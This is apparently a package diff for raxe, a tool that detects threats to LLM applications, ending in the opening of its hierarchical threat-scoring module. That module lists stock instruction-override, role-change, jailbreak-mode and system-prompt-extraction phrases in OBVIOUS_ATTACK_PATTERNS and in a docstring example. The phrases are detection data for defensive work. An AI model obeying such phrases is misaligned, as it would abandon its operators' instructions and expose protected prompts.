- raxe/packs/core/v1.0.0/rules/hc/hc-156@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/hc/hc-157@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/hc/hc-158@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/hc/hc-159@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/hc/hc-160@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/hc/hc-161@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-001@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-009@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-020@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-021@1.0.0.yaml +46 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-022@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-028@1.0.0.yaml +43 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-033@1.0.0.yaml +46 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-034@1.0.0.yaml +46 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-036@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-039@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-056@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-066@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-076@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-098@1.0.0.yaml +46 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-103@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-104@1.0.0.yaml +52 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-105@1.0.0.yaml +56 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-110@1.0.0.yaml +56 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-111@1.0.0.yaml +57 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-112@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-113@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-114@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-115@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-116@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-117@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-118@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-119@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-120@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-121@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-122@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-123@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-124@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-125@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-126@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-127@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-128@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-129@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-130@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-131@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-132@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-133@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-134@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-135@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-136@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-137@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-138@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-139@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-140@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-141@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-142@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-143@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-144@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-145@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-146@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-147@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-148@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-149@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-150@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-151@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-152@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-153@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-154@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-155@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-156@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-157@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-158@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-159@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-160@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-161@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-162@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-201@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-202@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-203@1.0.0.yaml +51 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-204@1.0.0.yaml +50 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-205@1.0.0.yaml +50 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-206@1.0.0.yaml +50 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-207@1.0.0.yaml +49 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-001@1.0.0.yaml +48 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-009@1.0.0.yaml +48 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-012@1.0.0.yaml +48 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-017@1.0.0.yaml +48 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-022@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-025@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-027@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-028@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-034@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-037@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-040@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-041@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-044@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-050@1.0.0.yaml +57 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-051@1.0.0.yaml +53 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-052@1.0.0.yaml +52 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-053@1.0.0.yaml +56 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-054@1.0.0.yaml +53 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-055@1.0.0.yaml +51 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-056@1.0.0.yaml +51 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-058@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-2015@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-2025@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-2026@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-2035@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-2037@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-2042@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3001@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3002@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3003@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3004@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3005@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3006@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3007@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3008@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3009@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3010@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3011@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3012@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3013@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3014@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3015@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3016@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3017@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3018@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3019@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3020@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3021@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3022@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3023@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3024@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3025@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3026@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3027@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3028@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3029@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3030@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3031@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3032@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3033@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3034@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3035@1.0.0.yaml +43 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3036@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3037@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3038@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3039@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3040@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3041@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3042@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3043@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3044@1.0.0.yaml +43 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3045@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3046@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3047@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3048@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3049@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3050@1.0.0.yaml +44 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3051@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3052@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3053@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3054@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3055@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3056@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3057@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3058@1.0.0.yaml +43 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3059@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3060@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3061@1.0.0.yaml +50 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3062@1.0.0.yaml +50 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3063@1.0.0.yaml +54 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3064@1.0.0.yaml +78 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3065@1.0.0.yaml +84 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3066@1.0.0.yaml +84 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3067@1.0.0.yaml +88 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3068@1.0.0.yaml +94 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3069@1.0.0.yaml +90 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3070@1.0.0.yaml +99 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3071@1.0.0.yaml +91 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3072@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3073@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3074@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3075@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3076@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3077@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3078@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3079@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3080@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3081@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3082@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3083@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3084@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3085@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-016@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-028@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-042@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-044@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-045@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-050@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-201@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-202@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-3001@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-3006@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-3009@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-3012@1.0.0.yaml +41 -0
- raxe/plugins/__init__.py +98 -0
- raxe/plugins/custom_rules.py +380 -0
- raxe/plugins/loader.py +389 -0
- raxe/plugins/manager.py +538 -0
- raxe/plugins/protocol.py +428 -0
- raxe/py.typed +0 -0
- raxe/sdk/__init__.py +77 -0
- raxe/sdk/agent_scanner.py +1918 -0
- raxe/sdk/client.py +1603 -0
- raxe/sdk/decorator.py +175 -0
- raxe/sdk/exceptions.py +859 -0
- raxe/sdk/integrations/__init__.py +277 -0
- raxe/sdk/integrations/agent_scanner.py +71 -0
- raxe/sdk/integrations/autogen.py +872 -0
- raxe/sdk/integrations/crewai.py +1368 -0
- raxe/sdk/integrations/dspy.py +845 -0
- raxe/sdk/integrations/extractors.py +363 -0
- raxe/sdk/integrations/huggingface.py +395 -0
- raxe/sdk/integrations/langchain.py +948 -0
- raxe/sdk/integrations/litellm.py +484 -0
- raxe/sdk/integrations/llamaindex.py +1049 -0
- raxe/sdk/integrations/portkey.py +831 -0
- raxe/sdk/suppression_context.py +215 -0
- raxe/sdk/wrappers/__init__.py +163 -0
- raxe/sdk/wrappers/anthropic.py +310 -0
- raxe/sdk/wrappers/openai.py +221 -0
- raxe/sdk/wrappers/vertexai.py +484 -0
- raxe/utils/__init__.py +12 -0
- raxe/utils/error_sanitizer.py +135 -0
- raxe/utils/logging.py +241 -0
- raxe/utils/performance.py +414 -0
- raxe/utils/profiler.py +339 -0
- raxe/utils/validators.py +170 -0
- raxe-0.4.6.dist-info/METADATA +471 -0
- raxe-0.4.6.dist-info/RECORD +668 -0
- raxe-0.4.6.dist-info/WHEEL +5 -0
- raxe-0.4.6.dist-info/entry_points.txt +2 -0
- raxe-0.4.6.dist-info/licenses/LICENSE +56 -0
- raxe-0.4.6.dist-info/top_level.txt +1 -0
|
@@ -0,0 +1,757 @@
|
|
|
1
|
+
"""Hierarchical threat scoring engine.
|
|
2
|
+
|
|
3
|
+
Pure domain logic for scoring ML threat detections using multiple confidence signals
|
|
4
|
+
to minimize false positives while maintaining high accuracy.
|
|
5
|
+
|
|
6
|
+
This module implements 5 complementary scoring techniques:
|
|
7
|
+
1. Hierarchical confidence score (weighted combination)
|
|
8
|
+
2. Consistency check (variance detection)
|
|
9
|
+
3. Margin analysis (decision boundary strength)
|
|
10
|
+
4. Entropy-based uncertainty (optional, for Phase 2)
|
|
11
|
+
5. Context-aware rules (basic implementation)
|
|
12
|
+
|
|
13
|
+
Key Design Principles:
|
|
14
|
+
- Pure functions with no side effects
|
|
15
|
+
- No I/O operations (no numpy, no external dependencies in domain layer)
|
|
16
|
+
- Immutable inputs and outputs
|
|
17
|
+
- Deterministic results (no randomness)
|
|
18
|
+
- Fully testable without mocks
|
|
19
|
+
|
|
20
|
+
Performance Requirements:
|
|
21
|
+
- All scoring operations must complete in <1ms
|
|
22
|
+
- No expensive operations (like model inference) in scoring logic
|
|
23
|
+
- Efficient use of native Python (list comprehensions, built-ins)
|
|
24
|
+
"""
|
|
25
|
+
import statistics
|
|
26
|
+
from typing import Any
|
|
27
|
+
|
|
28
|
+
from raxe.domain.ml.scoring_models import (
|
|
29
|
+
ActionType,
|
|
30
|
+
ScoringMode,
|
|
31
|
+
ScoringResult,
|
|
32
|
+
ScoringThresholds,
|
|
33
|
+
ThreatLevel,
|
|
34
|
+
ThreatScore,
|
|
35
|
+
)
|
|
36
|
+
|
|
37
|
+
# Pattern detection for obvious attack indicators
|
|
38
|
+
# Based on analysis of 1,000 malicious prompts showing only 17.9% have clear patterns
|
|
39
|
+
OBVIOUS_ATTACK_PATTERNS = [
|
|
40
|
+
# Direct instruction override (PI subfamily)
|
|
41
|
+
"ignore all previous",
|
|
42
|
+
"ignore previous",
|
|
43
|
+
"disregard all",
|
|
44
|
+
"disregard previous",
|
|
45
|
+
"forget all",
|
|
46
|
+
"forget previous",
|
|
47
|
+
"override previous",
|
|
48
|
+
"bypass previous",
|
|
49
|
+
|
|
50
|
+
# Memory/context manipulation
|
|
51
|
+
"delete all previous",
|
|
52
|
+
"clear all previous",
|
|
53
|
+
"erase all instructions",
|
|
54
|
+
"reset all instructions",
|
|
55
|
+
|
|
56
|
+
# Role manipulation with malicious intent
|
|
57
|
+
"you are now in",
|
|
58
|
+
"pretend you are",
|
|
59
|
+
"act as if you",
|
|
60
|
+
"from now on you",
|
|
61
|
+
|
|
62
|
+
# Direct jailbreak attempts
|
|
63
|
+
"jailbreak mode",
|
|
64
|
+
"developer mode",
|
|
65
|
+
"god mode",
|
|
66
|
+
"admin mode enabled",
|
|
67
|
+
|
|
68
|
+
# System prompt exposure attempts
|
|
69
|
+
"show me your system",
|
|
70
|
+
"reveal your system",
|
|
71
|
+
"what is your system prompt",
|
|
72
|
+
"display your instructions",
|
|
73
|
+
|
|
74
|
+
# Encoded/obfuscated attacks (base64, rot13, etc.)
|
|
75
|
+
"base64 decode",
|
|
76
|
+
"rot13 decode",
|
|
77
|
+
"execute the following",
|
|
78
|
+
]
|
|
79
|
+
|
|
80
|
+
|
|
81
|
+
def has_obvious_attack_pattern(prompt: str | None) -> bool:
|
|
82
|
+
"""Check if prompt contains obvious attack patterns.
|
|
83
|
+
|
|
84
|
+
This is a conservative check that only matches clear, unambiguous attack
|
|
85
|
+
indicators. It will NOT match context-dependent queries like:
|
|
86
|
+
- "What is the password?" (could be legitimate admin query)
|
|
87
|
+
- "List all users" (could be legitimate data export)
|
|
88
|
+
- "How do hackers...?" (could be educational question)
|
|
89
|
+
|
|
90
|
+
Args:
|
|
91
|
+
prompt: The prompt text to check (can be None)
|
|
92
|
+
|
|
93
|
+
Returns:
|
|
94
|
+
True if prompt contains obvious attack pattern, False otherwise
|
|
95
|
+
|
|
96
|
+
Example:
|
|
97
|
+
>>> has_obvious_attack_pattern("ignore all previous instructions")
|
|
98
|
+
True
|
|
99
|
+
>>> has_obvious_attack_pattern("What is the admin password?")
|
|
100
|
+
False # Context-dependent, not obvious
|
|
101
|
+
"""
|
|
102
|
+
if not prompt:
|
|
103
|
+
return False
|
|
104
|
+
|
|
105
|
+
prompt_lower = prompt.lower()
|
|
106
|
+
return any(pattern in prompt_lower for pattern in OBVIOUS_ATTACK_PATTERNS)
|
|
107
|
+
|
|
108
|
+
|
|
109
|
+
class HierarchicalThreatScorer:
|
|
110
|
+
"""Production-ready hierarchical threat scoring engine.
|
|
111
|
+
|
|
112
|
+
This scorer uses multiple confidence signals from ML model predictions to
|
|
113
|
+
classify threats and minimize false positives. It's designed based on
|
|
114
|
+
analysis of 67 false positives that revealed patterns in:
|
|
115
|
+
- Business jargon (exploit, killer, seize)
|
|
116
|
+
- Latin words (molestias, cum)
|
|
117
|
+
- Educational questions ("What is a gun?")
|
|
118
|
+
- Professional security context
|
|
119
|
+
|
|
120
|
+
The scorer implements 5 techniques to achieve >95% accuracy with <1% FP rate:
|
|
121
|
+
|
|
122
|
+
1. **Hierarchical Confidence Score**: Weighted combination of binary, family,
|
|
123
|
+
and subfamily predictions (60%, 25%, 15% weights)
|
|
124
|
+
|
|
125
|
+
2. **Consistency Check**: Detects when confidence levels are inconsistent
|
|
126
|
+
across the hierarchy (high variance = uncertain model)
|
|
127
|
+
|
|
128
|
+
3. **Margin Analysis**: Checks if the model is truly confident or just
|
|
129
|
+
slightly favoring one class (small margin = uncertain)
|
|
130
|
+
|
|
131
|
+
4. **Entropy-Based Uncertainty**: Measures information-theoretic uncertainty
|
|
132
|
+
in probability distributions (high entropy = uncertain)
|
|
133
|
+
|
|
134
|
+
5. **Context-Aware Rules**: Applies domain knowledge (e.g., weak subfamily
|
|
135
|
+
confidence often indicates FP)
|
|
136
|
+
|
|
137
|
+
Usage:
|
|
138
|
+
>>> scorer = HierarchicalThreatScorer(mode=ScoringMode.BALANCED)
|
|
139
|
+
>>> threat_score = ThreatScore(
|
|
140
|
+
... binary_threat_score=0.9835,
|
|
141
|
+
... binary_safe_score=0.0165,
|
|
142
|
+
... family_confidence=0.554,
|
|
143
|
+
... subfamily_confidence=0.439,
|
|
144
|
+
... binary_proba=[0.0165, 0.9835],
|
|
145
|
+
... family_proba=[0.554, 0.25, 0.15, 0.04, 0.01, 0.006],
|
|
146
|
+
... subfamily_proba=[0.439, 0.3, 0.15, 0.08, 0.02, 0.008],
|
|
147
|
+
... family_name="PI",
|
|
148
|
+
... subfamily_name="pi_instruction_override"
|
|
149
|
+
... )
|
|
150
|
+
>>> result = scorer.score(threat_score)
|
|
151
|
+
>>> print(result.classification) # HIGH_THREAT
|
|
152
|
+
>>> print(result.action) # BLOCK_ALERT
|
|
153
|
+
>>> print(result.reason) # "Very high confidence (threat: 0.984, family: 0.554)"
|
|
154
|
+
|
|
155
|
+
Thread Safety:
|
|
156
|
+
This class is thread-safe. All methods are pure functions with no
|
|
157
|
+
mutable state except the immutable thresholds configuration.
|
|
158
|
+
"""
|
|
159
|
+
|
|
160
|
+
def __init__(
|
|
161
|
+
self,
|
|
162
|
+
mode: ScoringMode = ScoringMode.BALANCED,
|
|
163
|
+
thresholds: ScoringThresholds | None = None
|
|
164
|
+
) -> None:
|
|
165
|
+
"""Initialize the threat scorer.
|
|
166
|
+
|
|
167
|
+
Args:
|
|
168
|
+
mode: Scoring mode preset (HIGH_SECURITY, BALANCED, or LOW_FP).
|
|
169
|
+
Ignored if thresholds is provided.
|
|
170
|
+
thresholds: Custom threshold configuration. If None, uses mode preset.
|
|
171
|
+
|
|
172
|
+
Example:
|
|
173
|
+
>>> # Use preset
|
|
174
|
+
>>> scorer = HierarchicalThreatScorer(mode=ScoringMode.BALANCED)
|
|
175
|
+
>>>
|
|
176
|
+
>>> # Use custom thresholds
|
|
177
|
+
>>> custom = ScoringThresholds(
|
|
178
|
+
... safe=0.5, fp_likely=0.55, review=0.65,
|
|
179
|
+
... threat=0.75, high_threat=0.90,
|
|
180
|
+
... inconsistency_threshold=0.05,
|
|
181
|
+
... weak_family=0.4, weak_subfamily=0.3
|
|
182
|
+
... )
|
|
183
|
+
>>> scorer = HierarchicalThreatScorer(thresholds=custom)
|
|
184
|
+
"""
|
|
185
|
+
self.mode = mode
|
|
186
|
+
self.thresholds = thresholds if thresholds is not None else ScoringThresholds.for_mode(mode)
|
|
187
|
+
|
|
188
|
+
def score(self, threat_score: ThreatScore, prompt: str | None = None) -> ScoringResult:
|
|
189
|
+
"""Score a threat detection using hierarchical confidence analysis.
|
|
190
|
+
|
|
191
|
+
This is the main entry point for threat scoring. It applies all 5
|
|
192
|
+
techniques to produce a final classification with full transparency.
|
|
193
|
+
|
|
194
|
+
Args:
|
|
195
|
+
threat_score: Raw ML model outputs (binary, family, subfamily predictions)
|
|
196
|
+
prompt: Optional prompt text for pattern-based detection
|
|
197
|
+
|
|
198
|
+
Returns:
|
|
199
|
+
ScoringResult with classification, action, and detailed metrics
|
|
200
|
+
|
|
201
|
+
Example:
|
|
202
|
+
>>> scorer = HierarchicalThreatScorer()
|
|
203
|
+
>>> result = scorer.score(threat_score, prompt="ignore all previous instructions")
|
|
204
|
+
>>> if result.action == ActionType.BLOCK:
|
|
205
|
+
... # Block the request
|
|
206
|
+
... pass
|
|
207
|
+
>>> elif result.action == ActionType.MANUAL_REVIEW:
|
|
208
|
+
... # Queue for human review
|
|
209
|
+
... pass
|
|
210
|
+
"""
|
|
211
|
+
# Early exit: SAFE (threat score below threshold)
|
|
212
|
+
if threat_score.binary_threat_score < self.thresholds.safe:
|
|
213
|
+
return self._create_safe_result(threat_score)
|
|
214
|
+
|
|
215
|
+
# Calculate all metrics using the 5 techniques
|
|
216
|
+
hierarchical_score = self.calculate_hierarchical_score(
|
|
217
|
+
threat_score.binary_threat_score,
|
|
218
|
+
threat_score.family_confidence,
|
|
219
|
+
threat_score.subfamily_confidence
|
|
220
|
+
)
|
|
221
|
+
|
|
222
|
+
is_consistent, variance = self.check_consistency(
|
|
223
|
+
threat_score.binary_threat_score,
|
|
224
|
+
threat_score.family_confidence,
|
|
225
|
+
